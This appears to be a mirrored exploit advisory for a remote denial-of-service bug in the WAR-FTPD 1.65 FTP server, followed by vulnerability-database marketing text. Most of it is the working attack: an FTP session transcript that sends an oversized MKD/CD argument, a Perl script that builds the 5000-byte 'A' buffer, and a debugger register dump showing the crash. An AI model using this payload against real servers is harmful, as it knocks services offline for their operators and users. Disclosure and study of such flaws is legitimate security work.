WAR-FTPD 1.65 (MKD & CD) requests Remote Denial of Service
exploited by opt!x hacker
mail: [email protected]
greetz to his0k4
about : http://securityreason.com/exploitalert/6971
you have to connect to target server from cmd like that:
i sended it with perl and python scripts but it's not working because im
beginner in remotes
############################################################
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrateur>ftp
ftp> open
Vers 5.237.109.181 21
Connecté à 5.237.109.181.
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
Utilisateur (5.237.109.181:(none)) : root
331 User name okay, Need password.
Mot de passe :
230 User logged in, proceed.
ftp> MKD A x 5000 or cd A x 5000
##########################################################
you have to execute this perl script then put his content after MKD or CD
__________________________________________________________________
my $crash= "A" x 5000;
open(c,">>denial.txt");
print c $crash;
print "[+] Done !! [+]";
close(c);
_________________________________________________________________
then olly is executed because im working with this option : just in time
debugger
###########################################################################
#################"""
EAX 41414141
ECX 008EEC18 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDX 008E0278
EBX 008E0000
ESP 00B2F538
EBP 00B2F758
ESI 008EEC10 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
EDI 41414141
EIP 7C9211DE ntdll.7C9211DE
###########################################################################
##################"""
and programm will be crashed :)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation